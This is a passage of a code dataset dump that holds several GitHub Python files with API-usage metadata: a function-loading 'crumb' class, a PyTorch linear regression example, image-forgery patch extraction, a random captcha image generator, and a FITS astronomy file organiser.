21, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 40, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.fastNlMeansDenoising", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}]} {"seq_id": "74194766011", "text": "\"\"\"Definition for module Crumb\"\"\"\nfrom __future__ import annotations\nfrom typing import Optional, Dict, Callable, Any\nimport inspect\nimport json\nfrom importlib.util import spec_from_file_location, module_from_spec\nimport os\n\nfrom crumb.bakery_items.generic import BakeryItem\nfrom crumb.logger import LoggerQueue, log, logging\n\n\nclass Crumb(BakeryItem):\n \"\"\"\n Crumb is a class that contains information about how to run a function.\n @param name: name given to the crumb\n @param file: the file where this crumb was identified\n @param func: the underlying function\n @param input: the input of the function: {'param1': int, 'param2': class, ...}\n @param output: the output of the function, int, float, class, ..., obtained from type()\n \"\"\"\n def __init__(self, name: str, file: str, func: Callable, input: Optional[Dict[str, type]] = None, output: Optional[type] = None):\n log(LoggerQueue.get_logger(), f'Starting crumb {name} from {file}', logging.DEBUG)\n self._crumb_check_input(func, input)\n super().__init__(name, input, output)\n self.file = file.replace('\\\\', '/')\n self.func = func\n\n def __repr__(self):\n return f'{self.__class__.__name__} at {hex(id(self))} with ({self.input})=>({str(self.output)})'\n\n def __str__(self):\n return self.__repr__()\n\n @classmethod\n def create_from_json(cls, json_str: str) -> Crumb:\n \"\"\"\n Starts a Crumb based on a json string\n @param json_str\n \"\"\"\n def dummy_function():\n return None\n crumb = Crumb('dummy_function', '.', dummy_function, input=None, output=None)\n crumb.from_json(json_str)\n return crumb\n\n def load_from_file(self, filepath: str, this_name: str) -> None:\n from crumb.repository import CrumbRepository # in here to avoid recursive imports\n crumb_repository = CrumbRepository()\n # redirect crumbs creation to ensure we have the right function\n crumbs_repo: dict = {}\n redirect_status = crumb_repository.get_redirected()\n crumb_repository.redirect({'target': crumbs_repo})\n # load file to recover crumbs\n _, pkg = os.path.split(filepath)\n spec = spec_from_file_location(os.path.splitext(pkg)[0], filepath)\n if spec is None:\n raise RuntimeError('Cannot load file \"{filepath}\" with function.')\n mod = module_from_spec(spec)\n _ = spec.loader.exec_module(mod) # type: ignore # already handled above\n # get crumb\n restored_crumb = crumb_repository.get_crumb(this_name)\n self.name = this_name\n self.input = restored_crumb.input\n self.output = restored_crumb.output\n self.file = filepath\n self.func = restored_crumb.func\n # restore redirection\n crumb_repository.redirect({'target': redirect_status})\n\n def from_json(self, json_str: str) -> None:\n json_obj = json.loads(json_str)\n filepath = json_obj['executable_file']\n crumb_name = json_obj['name']\n self.load_from_file(filepath, crumb_name)\n\n def to_json(self) -> str:\n return json.dumps(self.to_dict())\n\n def to_dict(self) -> dict:\n this_structure = {\n 'name': self.name,\n 'executable_file': self.file\n }\n return this_structure\n\n def reload(self) -> None:\n self.load_from_file(self.file, self.name)\n\n def run(self, input) -> Any:\n if self.func is None:\n self.reload()\n return self.func(**input)\n\n def _get_args(self, func: Callable) -> Dict[str, type]:\n sign = inspect.signature(func)\n return {k: v.default for k, v in sign.parameters.items()}\n\n def _crumb_check_input(self, func: Callable, input: Optional[Dict[str, type]]) -> None:\n # check if input parameter is a dictionary\n if input is not None and not isinstance(input, dict):\n raise ValueError('input parameter must be dict, obtained' + str(type(input)))\n # if there are inputs to be evaluated\n func_args = self._get_args(func)\n # check if all elements defined in input are in the function call:\n _not_valid = []\n if 'kwargs' in func_args.keys():\n # for the functions that have more parameters we can not check if the list we have really exist\n pass\n elif input is not None:\n # first check for the ones that are not in the function\n for i in input.keys():\n if i not in func_args:\n _not_valid.append(i)\n # then check for the ones that do not have a default parameter, and they must be in there\n _not_valid_missing = []\n for i, in_type in func_args.items():\n if in_type is inspect.Parameter.empty:\n if input is None or i not in input:\n _not_valid_missing.append(i)\n # compile the relation of errors\n err = ''\n if len(_not_valid) > 0:\n invalid_list = '\", \"'.join(_not_valid)\n err += f'input definition for a parameter that is not in the function: \"{invalid_list}\"'\n if len(_not_valid_missing) > 0:\n if len(err) > 0:\n err += '\\n\\tAND\\n'\n invalid_missing = '\", \"'.join(_not_valid_missing)\n err += f'input definition missing for a parameter without default value: \"{invalid_missing}\"'\n if len(err) > 0:\n raise ValueError(err)\n", "repo_name": "labrax/breadr", "sub_path": "src/crumb/bakery_items/crumb.py", "file_name": "crumb.py", "file_ext": "py", "file_size_in_byte": 5460, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "crumb.bakery_items.generic.BakeryItem", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 22, "usage_type": "name"}, {"api_name": "crumb.logger.log", "line_number": 23, "usage_type": "call"}, {"api_name": "crumb.logger.LoggerQueue.get_logger", "line_number": 23, "usage_type": "call"}, {"api_name": "crumb.logger.LoggerQueue", "line_number": 23, "usage_type": "name"}, {"api_name": "crumb.logger.logging.DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "crumb.logger.logging", "line_number": 23, "usage_type": "name"}, {"api_name": "crumb.bakery_items.generic", "line_number": 43, "usage_type": "name"}, {"api_name": "crumb.bakery_items.generic.from_json", "line_number": 44, "usage_type": "call"}, {"api_name": "crumb.bakery_items.generic", "line_number": 44, "usage_type": "name"}, {"api_name": "crumb.bakery_items.generic", "line_number": 45, "usage_type": "name"}, {"api_name": "crumb.repository.CrumbRepository", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "importlib.util.spec_from_file_location", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "importlib.util.module_from_spec", "line_number": 59, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 72, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 78, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 90, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 95, "usage_type": "name"}, {"api_name": "inspect.signature", "line_number": 96, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 99, "usage_type": "name"}, {"api_name": "inspect.Parameter", "line_number": 118, "usage_type": "attribute"}]} {"seq_id": "23219834342", "text": "import random\nimport torch\ndef synthetic_data(w, b, num_examples): #@save\n \"\"\"⽣成y=Xw+b+噪声\"\"\"\n X = torch.normal(0, 1, (num_examples, len(w)))\n y = torch.matmul(X, w) + b\n y += torch.normal(0, 0.01, y.shape)\n return X, y.reshape((-1, 1))\ntrue_w = torch.tensor([2, -3.4])\ntrue_b = 4.2\nfeatures, labels = synthetic_data(true_w, true_b, 1000)\ndef data_iter(batch_size, features, labels):\n num_examples = len(features)\n indices = list(range(num_examples))\n# 这些样本是随机读取的，没有特定的顺序\n random.shuffle(indices)\n for i in range(0, num_examples, batch_size):\n batch_indices = torch.tensor(indices[i: min(i + batch_size, num_examples)])\n yield features[batch_indices], labels[batch_indices]\nbatch_size = 10\nw = torch.normal(0, 0.01, size=(2,1), requires_grad=True)\nb = torch.zeros(1, requires_grad=True)\ndef linreg(X, w, b): #@save\n \"\"\"线性回归模型\"\"\"\n return torch.matmul(X, w) + b\ndef squared_loss(y_hat, y): #@save\n \"\"\"均⽅损失\"\"\"\n return (y_hat - y.reshape(y_hat.shape)) ** 2 / 2\ndef sgd(params, lr, batch_size): #@save\n \"\"\"⼩批量随机梯度下降\"\"\"\n with torch.no_grad():\n for param in params:\n param -= lr * param.grad / batch_size\n param.grad.zero_()\nlr = 0.03\nnum_epochs = 3\nnet = linreg\nloss = squared_loss\nfor epoch in range(num_epochs):\n for X, y in data_iter(batch_size, features, labels):\n l = loss(net(X, w, b), y) # X和y的⼩批量损失\n # 因为l形状是(batch_size,1)，⽽不是⼀个标量。l中的所有元素被加到⼀起，\n # 并以此计算关于[w,b]的梯度\n l.sum().backward()\n sgd([w, b], lr, batch_size) # 使⽤参数的梯度更新参数\n with torch.no_grad():\n train_l = loss(net(features, w, b), labels)\n print(f'epoch {epoch + 1}, loss {float(train_l.mean()):f}')\n", "repo_name": "kewuyu/DeepLearining", "sub_path": "1.线性神经网络/1.1线性回归/1.1.2从零代码实现.py", "file_name": "1.1.2从零代码实现.py", "file_ext": "py", "file_size_in_byte": 1803, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.normal", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.normal", "line_number": 7, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 9, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.normal", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 46, "usage_type": "call"}]} {"seq_id": "33228861613", "text": "import glob\nimport cv2\nfrom skimage.util import view_as_windows\n\nfrom ..patch_extraction.extraction_utils import get_ref_df\n\n\ndef get_patches(image_mat, stride):\n \"\"\"\n Extract patches rom an image\n :param image_mat: The image as a matrix\n :param stride: The stride of the patch extraction process\n :returns: The patches\n \"\"\"\n window_shape = (128, 128, 3)\n windows = view_as_windows(image_mat, window_shape, step=stride)\n patches = []\n for m in range(windows.shape[0]):\n for n in range(windows.shape[1]):\n patches += [windows[m][n][0]]\n return patches\n\n\ndef get_images_and_labels(tampered_path, authentic_path):\n \"\"\"\n Get the images and their corresponding labels\n :param tampered_path: The path containing the tampered images\n :param authentic_path: The path containing the authentic images\n :returns: Dictionary with images and labels\n \"\"\"\n tampered_dir = tampered_path\n authentic_dir = authentic_path\n images = {}\n for im in glob.glob(authentic_dir):\n images[im] = {}\n images[im]['mat'] = cv2.imread(im)\n images[im]['label'] = 0\n for im in glob.glob(tampered_dir):\n images[im] = {}\n images[im]['mat'] = cv2.imread(im)\n images[im]['label'] = 1\n return images\n\n\ndef get_images_and_labels_nc():\n \"\"\"\n Get the images and their corresponding labels for the NC 2016 dataset\n :returns: Dictionary with images and labels\n \"\"\"\n refs = get_ref_df()\n images = {}\n for _, data in refs.iterrows():\n if data['ProbeFileName'] in images:\n continue\n im = data['ProbeFileName']\n images[im] = 1 if data['IsTarget'] == 'Y' else 0\n return images\n", "repo_name": "kPsarakis/Image-Forgery-Detection-CNN", "sub_path": "src/feature_fusion/patch_extraction.py", "file_name": "patch_extraction.py", "file_ext": "py", "file_size_in_byte": 1712, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 116, "dataset": "github-code", "pt": "7", "api": [{"api_name": "skimage.util.view_as_windows", "line_number": 16, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 36, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 40, "usage_type": "call"}, {"api_name": "patch_extraction.extraction_utils.get_ref_df", "line_number": 50, "usage_type": "call"}]} {"seq_id": "1370696645", "text": "from PIL import Image, ImageDraw, ImageFont\nfrom enum import Enum, unique\nfrom fontTools.ttLib import TTFont\nimport numpy as np\nimport io\nimport os\nimport base64\nimport hashlib\nimport time\nimport random\nimport logging\n\n\nclass BackgroundType(Enum):\n RANDOM = 'random'\n IMAGE = 'image'\n RGB = 'rgb'\n\n\nclass RandomCaptcha(object):\n \"\"\"随机英数样本生成器\"\"\"\n def __init__(self):\n self.__width = [130, 160]\n self.__height = [50, 60]\n self.__background_mode = BackgroundType.RGB\n self.__background_img_assests_path = None\n self.__rgb = {\n 'r': [0, 255],\n 'g': [0, 255],\n 'b': [0, 255]\n }\n self.__fonts_list = []\n self.__samples = []\n self.__fonts_num = [4, 4]\n self.__font_size = [26, 36]\n self.__font_mode = 0\n self.__max_line_count = 2\n self.__max_point_count = 20\n\n @property\n def max_point_count(self):\n return self.__max_point_count\n\n @max_point_count.setter\n def max_point_count(self, value: int):\n self.__max_point_count = value\n\n @property\n def max_line_count(self):\n return self.__max_line_count\n\n @max_line_count.setter\n def max_line_count(self, value: int):\n self.__max_line_count = value\n\n @property\n def font_mode(self):\n return self.__font_mode\n\n @font_mode.setter\n def font_mode(self, value: int):\n self.__font_mode = value\n\n @property\n def font_size(self) -> list:\n return self.__font_size\n\n @font_size.setter\n def font_size(self, value: list):\n if type(value) == list and type(value[0]) == int and type(value[1]) == int and value[0] >= 0 and value[1] > 0 and value[0] < value[1]:\n self.__font_size = value\n else:\n raise ValueError(\"input value should be like [0, 255]\")\n\n @property\n def fonts_num(self) -> list:\n return self.__fonts_num\n\n @fonts_num.setter\n def fonts_num(self, value: list):\n self.__fonts_num = value\n\n @property\n def sample(self) -> list:\n return self.__samples\n\n @sample.setter\n def sample(self, value: list):\n self.__samples = value\n\n @property\n def fonts_list(self) -> list:\n return self.__fonts_list\n\n @fonts_list.setter\n def fonts_list(self, value: list):\n self.__fonts_list = value\n\n @property\n def rgb(self) -> dict:\n return self.__rgb\n\n @property\n def rgb_r(self) -> list:\n return self.__rgb['r']\n\n @rgb_r.setter\n def rgb_r(self, value: list):\n if type(value) == list and type(value[0]) == int and type(value[1]) == int and value[0] >= 0 and value[1] > 0 and value[0] < value[1] and value[0] <= 255:\n self.__rgb['r'] = value\n else:\n raise ValueError(\"input value should be like [0, 255]\")\n\n @property\n def rgb_g(self) -> list:\n return self.__rgb['g']\n\n @rgb_g.setter\n def rgb_g(self, value: list):\n if type(value) == list and type(value[0]) == int and type(value[1]) == int and value[0] >= 0 and value[1] > 0 and value[0] < value[1] and value[0] <= 255:\n self.__rgb['g'] = value\n else:\n raise ValueError(\"input value should be like [0, 255]\")\n\n @property\n def rgb_b(self) -> list:\n return self.__rgb['b']\n\n @rgb_b.setter\n def rgb_b(self, value: list):\n if type(value) == list and type(value[0]) == int and type(value[1]) == int and value[0] >= 0 and value[1] > 0 and value[0] < value[1]:\n self.__rgb['b'] = value\n else:\n raise ValueError(\"input value should be like [0, 255]\")\n\n @property\n def background_mode(self) -> BackgroundType:\n return self.__background_mode\n\n @background_mode.setter\n def background_mode(self, value: BackgroundType):\n self.__background_mode = value\n\n @property\n def background_img_path(self) -> str:\n return self.__background_img_assests_path\n\n @background_img_path.setter\n def background_img_path(self, value: str):\n self.__background_img_assests_path = value\n\n @property\n def height(self):\n return self.__height\n\n @height.setter\n def height(self, value):\n self.__height = value\n\n @property\n def width(self):\n return self.__width\n\n @width.setter\n def width(self, value):\n self.__width = value\n\n def check_font(self):\n for font_type in self.fonts_list:\n try:\n font = TTFont(font_type)\n uni_map = font['cmap'].tables[0].ttFont.getBestCmap()\n for item in self.sample:\n codepoint = ord(str(item))\n if codepoint in uni_map.keys():\n continue\n else:\n font.close()\n raise Exception(\"{} not found!\".format(item))\n except Exception as e:\n try:\n os.remove(font_type)\n except:\n pass\n del self.fonts_list[self.fonts_list.index(font_type)]\n\n pass\n\n def set_text(self, __image: ImageDraw, img_width, img_height):\n\n if img_width >= 150:\n font_size = random.choice(range(self.font_size[0], self.font_size[1]))\n else:\n font_size = random.choice(range(self.font_size[0], int((self.font_size[0] + self.font_size[1])/2)))\n\n font_num = random.choice(range(self.fonts_num[0], self.fonts_num[1]))\n max_width = int(img_width / font_num)\n max_height = int(img_height)\n font_type = random.choice(self.fonts_list)\n try:\n font = ImageFont.truetype(font_type, font_size)\n except OSError:\n del self.fonts_list[self.fonts_list.index(font_type)]\n raise Exception(\"{} opened fail\")\n labels = []\n for idx in range(font_num):\n fw = range(int(max_width - font_size))\n if len(fw) > 0:\n x = max_width * idx + random.choice(fw)\n else:\n x = max_width * idx\n y = random.choice(range(int(max_height - font_size)))\n f = random.choice(self.sample)\n labels.append(f)\n __image.text((x, y), f, font=font,\n fill=(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))\n return labels, font_type\n\n def set_noise(self, __image: ImageDraw, img_width, img_height):\n for i in range(self.max_line_count):\n # 噪线的起点横坐标和纵坐标\n x1 = random.randint(0, img_width)\n y1 = random.randint(0, img_height)\n # 噪线的终点横坐标和纵坐标\n x2 = random.randint(0, img_width)\n y2 = random.randint(0, img_height)\n # 通过画笔对象draw.line((起点的xy, 终点的xy), fill='颜色')来划线\n __image.line((x1, y1, x2, y2),\n fill=(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))\n for i in range(self.max_point_count):\n __image.point([random.randint(0, img_width), random.randint(0, img_height)], fill=(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))\n x = random.randint(0, img_width)\n y = random.randint(0, img_height)\n __image.arc((x, y, x + 4, y + 4), 0, 40, fill=(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))\n\n def set_content(self, __image: ImageDraw, img_width, img_height):\n labels, font_type = self.set_text(__image, img_width, img_height)\n self.set_noise(__image, img_width, img_height)\n return labels, font_type\n\n def create(self, mode: str = \"bytes\", img_format: str = \"png\"):\n if type(self.width) == list:\n img_width = random.choice(range(self.width[0], self.width[1]))\n else:\n img_width = self.width\n if type(self.height) == list:\n img_height = random.choice(range(self.height[0], self.height[1]))\n else:\n img_height = self.height\n\n background_mode = self.background_mode\n if type(background_mode) is BackgroundType:\n if background_mode.value == BackgroundType.RGB.value:\n rgb_range = self.rgb\n r_range = rgb_range['r']\n g_range = rgb_range['g']\n b_range = rgb_range['b']\n rgb = (random.randint(r_range[0], r_range[1]), random.randint(g_range[0], g_range[1]),\n random.randint(b_range[0], b_range[1]))\n __image = Image.new('RGB', (img_width, img_height), rgb)\n img = ImageDraw.Draw(__image)\n labels, font_type = self.set_content(img, img_width, img_height)\n if mode == \"bytes\":\n img_byte_arr = io.BytesIO()\n __image.save(img_byte_arr, format=img_format)\n return img_byte_arr.getvalue(), labels, font_type\n elif mode == \"numpy\":\n return np.array(__image), labels, font_type\n elif mode == \"base64\":\n img_byte_arr = io.BytesIO()\n __image.save(img_byte_arr, format=img_format)\n _bytes = img_byte_arr.getvalue()\n return base64.b64encode(_bytes).decode(), labels, font_type\n else:\n raise FutureWarning(\"暂不支持的输出类型\")\n else:\n raise FutureWarning(\"暂不支持的背景类型\")\n else:\n raise TypeError(\"background mode must be BGMODEL.\")\n", "repo_name": "kerlomz/captcha_trainer", "sub_path": "middleware/random_captcha.py", "file_name": "random_captcha.py", "file_ext": "py", "file_size_in_byte": 9693, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2810, "dataset": "github-code", "pt": "7", "api": [{"api_name": "enum.Enum", "line_number": 14, "usage_type": "name"}, {"api_name": "fontTools.ttLib.TTFont", "line_number": 171, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 182, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 189, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 192, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 194, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 196, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 199, "usage_type": "call"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 201, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 201, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 209, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 212, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 213, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 216, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 219, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 222, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 223, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 225, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 226, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 229, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 231, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 232, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 233, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 234, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 236, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 243, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 247, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 258, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 259, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 260, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 260, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 261, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 261, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 268, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 270, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 273, "usage_type": "call"}]} {"seq_id": "40609245199", "text": "from astropy.io import fits\nimport os\nimport csv\nimport datetime\nimport json\ndates = {}\n\nclass Sort:\n def __init__(self):\n with open('./data.json', 'r') as f:\n self.weather = json.load(f)\n def organize(self):\n print('Organizing All FITS Files Now')\n for file in os.listdir('./fits'):\n if 'out' in file:\n continue\n try:\n filename = file\n if 'tmp' not in file and '.fits' in file:\n if file == '.DS_Store':\n continue\n file = fits.open(f\"./fits/{file}\")\n file.close()\n date = file[0].header['DATE-OBS'].split('T')[0]\n if 'TIME-OBS' in file[0].header:\n time = 'T' + file[0].header['TIME-OBS'].replace(':', '-')\n else:\n time = ''\n if date not in os.listdir('./fits'):\n try:\n os.mkdir(f\"./fits/{date}\")\n except Exception as e:\n print(e)\n pass\n os.rename(f\"./fits/{filename}\", f\"./fits/{date}/{file[0].header['DATE-OBS']}{time}\".replace(':', '-') + \".fits\")\n else: \n os.rename(f\"./fits/{filename}\", f\"./fits/{date}/{file[0].header['DATE-OBS']}{time}\".replace(':', '-') + \".fits\")\n except Exception as e:\n print(\"Error handling \" + str(file) + \": \" + str(e))\n return 'Files have been organized.'\n\n def getData(self):\n a = ''\n for directory in os.listdir('./fits'):\n if directory == 'out':\n continue\n try:\n if os.path.isdir(f\"./fits/{directory}\"):\n for file in os.listdir(f\"./fits/{directory}\"):\n filename = file\n if 'tmp' not in file and '.fits' in file:\n if file == '.DS_Store':\n continue \n file = fits.open(f\"./fits/{directory}/{file}\")\n date = file[0].header['DATE-OBS'].split('T')[0]\n a += file[0].header['DATE-OBS'] + '\\n'\n bugs = 0\n if file[0].header['bugs']:\n bugs = 1\n if date not in dates:\n dates[date] = {\n \"pictures\": 1,\n \"telescopeUsed\": file[0].header['TELESCOP'],\n \"location\": file[0].header['OBSERVER'],\n \"instrument\": file[0].header['INSTRUME'],\n \"dates\": [file[0].header['DATE-OBS']],\n \"bugs\": bugs\n }\n else:\n dates[date]['pictures'] += 1\n dates[date]['dates'].append(file[0].header['DATE-OBS'])\n if 'bugs' in dates[date]:\n dates[date]['bugs'] += bugs\n else:\n dates[date]['bugs'] = bugs\n if(dates[date]['telescopeUsed'] != file[0].header['TELESCOP']):\n print('telescope mismatch')\n if(dates[date]['instrument'] != file[0].header['INSTRUME']):\n print('Instrument mismatch')\n if 'TIME-OBS' in file[0].header:\n dates[date]['time'] = file[0].header['TIME-OBS'].replace(':', '-')\n else:\n dates[date]['time'] = None\n except Exception as e:\n print(\"Error handling directory\" + str(directory) + \": \" + str(e))\n\n for date, value in dates.items():\n lowestTime = {\"value\": 24, \"string\": None}\n highestTime = {\"value\": 0, \"string\": None}\n for iso in value['dates']:\n if not value['time']: \n if ':' in iso:\n time = iso.split('T')[1].split(':')\n else:\n time = iso.split('T')[1].split('-')\n else:\n if ':' in value['time']:\n time = value['item'].split(':')\n else:\n time = value['time'].split('-')\n hour = time[0]\n minute = time[1]\n second = time[2]\n time = int(hour) + int(minute)/60 + float(second)/3600\n if time > highestTime['value']:\n highestTime['string'] = f\"{hour}:{minute}:{second}\"\n highestTime['value'] = time\n elif time < lowestTime['value']:\n lowestTime['string'] = f\"{hour}:{minute}:{second}\"\n lowestTime['value'] = time\n dates[date]['lowestTime'] = lowestTime\n dates[date]['highestTime'] = highestTime\n del dates[date]['dates']\n\n for date, value in dates.items():\n with open(f\"./fits/{date}/metadata.json\", 'w') as f:\n json.dump(value, f)\n\n return dates\n \n def csvGen(self):\n try:\n with open('data' + '.csv', 'w') as file:\n writer = csv.writer(file, delimiter =',', quotechar='\"', quoting=csv.QUOTE_ALL)\n writer.writerow(['FILE NAME', 'DATE', 'TIME', 'DAY/NIGHT', 'EXPTIME', 'LOCATION', 'INSTRUMENT', 'BUGS', 'UNIX', 'TEMP', 'CLOUD %', 'VISIBILITY', 'INFO'])\n for directory in os.listdir('./fits'):\n if directory == 'out':\n continue\n if os.path.isdir(f\"./fits/{directory}\"):\n for file in os.listdir(f\"./fits/{directory}\"):\n if file == 'metadata.json':\n continue\n filename = file\n if 'tmp' not in file and '.fits' in file:\n if file == '.DS_Store':\n continue\n file = fits.open(f\"./fits/{directory}/{file}\")\n hdr = file[0].header\n if('TIME-OBS' in file[0].header):\n time = file[0].header['TIME-OBS'].replace('-', ':')\n date = file[0].header['DATE-OBS'].replace(':', '-')\n dayNight = 0\n timeSplit = time.split(':')\n if 7 <= int(timeSplit[0]) <= 19:\n dayNight = 'Day'\n else:\n dayNight = 'Night'\n \n isots = datetime.datetime.strptime(f\"{date}T{time}\", '%Y-%m-%dT%H:%M:%S')\n unix = (isots - datetime.datetime(1970, 1, 1)).total_seconds()\n unix = int(unix//3600 * 3600)\n else:\n time = file[0].header['DATE-OBS'].split('T')[1].replace(':', '-')\n dayNight = 0\n timeSplit = time.split('-')\n if 7 <= int(timeSplit[0]) <= 19:\n dayNight = 'Day'\n else:\n dayNight = 'Night'\n date = file[0].header['DATE-OBS'].split('T')[0].replace(':', '-')\n isots = datetime.datetime.strptime(f\"{date}T{time}\", '%Y-%m-%dT%H-%M-%S.%f')\n unix = (isots - datetime.datetime(1970, 1, 1)).total_seconds()\n unix = int(unix//3600 * 3600)\n for item in self.weather:\n if item['dt'] == unix:\n temp = item\n break\n if 'BUGS' in hdr:\n bugs = hdr['BUGS']\n else:\n bugs = 0\n writer.writerow([filename, date, time.replace('-', ':'), dayNight, hdr['EXPTIME'], hdr['OBSERVER'], hdr['INSTRUME'], bugs, unix, temp['main']['temp'], temp['clouds']['all'], temp['visibility'], temp['weather'][0]['description']])\n except Exception as e:\n print(\"Error writing CSV: \" + str(e))", "repo_name": "aryananwar/info22", "sub_path": "src/sort.py", "file_name": "sort.py", "file_ext": "py", "file_size_in_byte": 9098, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 14, "usage_type": "call"}, {"api_name": "astropy.io.fits.open", "line_number": 22, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 22, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 35, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 37, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 49, "usage_type": "call"}, {"api_name": "astropy.io.fits.open", "line_number": 54, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 54, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 